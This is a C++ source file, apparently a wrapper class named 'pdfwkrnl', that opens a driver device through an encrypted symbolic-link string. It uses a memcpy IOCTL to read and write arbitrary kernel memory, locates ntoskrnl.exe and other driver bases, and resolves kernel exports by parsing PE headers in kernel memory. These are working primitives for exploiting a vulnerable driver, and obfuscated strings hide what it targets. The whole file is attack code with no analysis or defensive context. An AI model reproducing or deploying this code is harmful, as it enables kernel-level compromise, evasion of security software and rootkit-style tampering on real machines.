241 lines
8.2 KiB
C++
241 lines
8.2 KiB
C++
#include "pdfwkrnl.h"
|
|
|
|
bool pdfwkrnl::attach() {
|
|
if(driver_handle) {
|
|
CloseHandle(driver_handle);
|
|
driver_handle = nullptr;
|
|
}
|
|
|
|
driver_handle = CreateFileA(driver_symbolic_link.decrypt(),
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
NULL
|
|
);
|
|
|
|
if(!driver_handle || driver_handle == INVALID_HANDLE_VALUE){
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
bool pdfwkrnl::detach() {
|
|
if(driver_handle) {
|
|
HANDLE temp_handle = driver_handle;
|
|
driver_handle = nullptr;
|
|
return CloseHandle(temp_handle);
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
bool pdfwkrnl::read(uint64_t _Address, void* _Buffer, size_t Size) {
|
|
if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address)
|
|
return false;
|
|
|
|
structure::PDFW_MEMCPY memcpy_data = { 0 };
|
|
memcpy_data.Destination = (PVOID)_Buffer;
|
|
memcpy_data.Source = (void*)_Address;
|
|
memcpy_data.Size = Size;
|
|
|
|
DWORD bytes_returned;
|
|
return DeviceIoControl(driver_handle,
|
|
driver_memcpy,
|
|
&memcpy_data,
|
|
sizeof(structure::PDFW_MEMCPY),
|
|
&memcpy_data,
|
|
sizeof(structure::PDFW_MEMCPY),
|
|
&bytes_returned,
|
|
NULL) != 0;
|
|
}
|
|
|
|
bool pdfwkrnl::write(uint64_t _Address, void* _Buffer, size_t Size) {
|
|
if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address)
|
|
return false;
|
|
|
|
structure::PDFW_MEMCPY memcpy_data = { 0 };
|
|
memcpy_data.Destination = (PVOID)_Address;
|
|
memcpy_data.Source = _Buffer;
|
|
memcpy_data.Size = Size;
|
|
|
|
DWORD bytes_returned;
|
|
return DeviceIoControl(driver_handle,
|
|
driver_memcpy,
|
|
&memcpy_data,
|
|
sizeof(structure::PDFW_MEMCPY),
|
|
&memcpy_data,
|
|
sizeof(structure::PDFW_MEMCPY),
|
|
&bytes_returned,
|
|
NULL) != 0;
|
|
}
|
|
|
|
uint64_t pdfwkrnl::get_kernel_base() {
|
|
uint64_t kernel_base = 0;
|
|
|
|
DWORD CbNeeded = 0;
|
|
LPVOID Drivers[1024]{};
|
|
|
|
if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
|
|
for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) {
|
|
char szDriverName[MAX_PATH]{};
|
|
if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) {
|
|
if (strcmp(szDriverName, STR("ntoskrnl.exe").decrypt()) == 0) {
|
|
kernel_base = reinterpret_cast<uint64_t>(Drivers[i]);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return kernel_base;
|
|
}
|
|
|
|
uint64_t pdfwkrnl::get_kernel_base(const char* module_name) {
|
|
uint64_t kernel_base = 0;
|
|
|
|
DWORD CbNeeded = 0;
|
|
LPVOID Drivers[1024]{};
|
|
|
|
if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
|
|
for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) {
|
|
char szDriverName[MAX_PATH]{};
|
|
if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) {
|
|
if (strcmp(szDriverName, module_name) == 0) {
|
|
kernel_base = reinterpret_cast<uint64_t>(Drivers[i]);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return kernel_base;
|
|
}
|
|
|
|
uint64_t pdfwkrnl::get_kernel_export(const char* export_name) {
|
|
uint64_t kernel_base = get_kernel_base();
|
|
if (!kernel_base)
|
|
return 0;
|
|
|
|
uint64_t export_address = 0;
|
|
|
|
IMAGE_DOS_HEADER dos_header = read<IMAGE_DOS_HEADER>(kernel_base);
|
|
if(dos_header.e_magic != IMAGE_DOS_SIGNATURE)
|
|
return 0;
|
|
|
|
IMAGE_NT_HEADERS64 nt_headers = read<IMAGE_NT_HEADERS64>(kernel_base + dos_header.e_lfanew);
|
|
if(nt_headers.Signature != IMAGE_NT_SIGNATURE)
|
|
return 0;
|
|
|
|
if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
|
|
IMAGE_EXPORT_DIRECTORY export_directory = read<IMAGE_EXPORT_DIRECTORY>(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
if (export_directory.NumberOfFunctions > 0) {
|
|
auto address_of_functions = kernel_base + export_directory.AddressOfFunctions;
|
|
auto address_of_names = kernel_base + export_directory.AddressOfNames;
|
|
auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals;
|
|
|
|
std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
|
|
std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
|
|
std::vector<WORD> ordinals(export_directory.NumberOfNames);
|
|
|
|
if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
|
|
return 0;
|
|
|
|
if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
|
|
return 0;
|
|
|
|
if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
|
|
return 0;
|
|
|
|
for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
|
|
char func_name[MAX_PATH] = { 0 };
|
|
auto name_address = kernel_base + name_rvas[i];
|
|
|
|
if (!read(name_address, func_name, sizeof(func_name)))
|
|
continue;
|
|
|
|
func_name[MAX_PATH - 1] = '\0';
|
|
|
|
auto ordinal = export_directory.Base + ordinals[i];
|
|
auto func_rva = func_rvas[ordinals[i]];
|
|
auto func_address = kernel_base + func_rva;
|
|
|
|
if (!strcmp(func_name, export_name))
|
|
return func_address;
|
|
}
|
|
|
|
}
|
|
else
|
|
return 0;
|
|
}
|
|
else {
|
|
return 0;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
uint64_t pdfwkrnl::get_kernel_export(const char* module_name, const char* export_name) {
|
|
uint64_t kernel_base = get_kernel_base(module_name);
|
|
if (!kernel_base)
|
|
return 0;
|
|
|
|
uint64_t export_address = 0;
|
|
|
|
IMAGE_DOS_HEADER dos_header = read<IMAGE_DOS_HEADER>(kernel_base);
|
|
if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)
|
|
return 0;
|
|
|
|
IMAGE_NT_HEADERS64 nt_headers = read<IMAGE_NT_HEADERS64>(kernel_base + dos_header.e_lfanew);
|
|
if (nt_headers.Signature != IMAGE_NT_SIGNATURE)
|
|
return 0;
|
|
|
|
if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
|
|
IMAGE_EXPORT_DIRECTORY export_directory = read<IMAGE_EXPORT_DIRECTORY>(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
if (export_directory.NumberOfFunctions > 0) {
|
|
auto address_of_functions = kernel_base + export_directory.AddressOfFunctions;
|
|
auto address_of_names = kernel_base + export_directory.AddressOfNames;
|
|
auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals;
|
|
|
|
std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
|
|
std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
|
|
std::vector<WORD> ordinals(export_directory.NumberOfNames);
|
|
|
|
if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
|
|
return 0;
|
|
|
|
if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
|
|
return 0;
|
|
|
|
if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
|
|
return 0;
|
|
|
|
for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
|
|
char func_name[MAX_PATH] = { 0 };
|
|
auto name_address = kernel_base + name_rvas[i];
|
|
|
|
if (!read(name_address, func_name, sizeof(func_name)))
|
|
continue;
|
|
|
|
func_name[MAX_PATH - 1] = '\0';
|
|
|
|
auto ordinal = export_directory.Base + ordinals[i];
|
|
auto func_rva = func_rvas[ordinals[i]];
|
|
auto func_address = kernel_base + func_rva;
|
|
|
|
if (!strcmp(func_name, export_name))
|
|
return func_address;
|
|
}
|
|
|
|
}
|
|
else
|
|
return 0;
|
|
}
|
|
else {
|
|
return 0;
|
|
}
|
|
|
|
return 0;
|
|
} |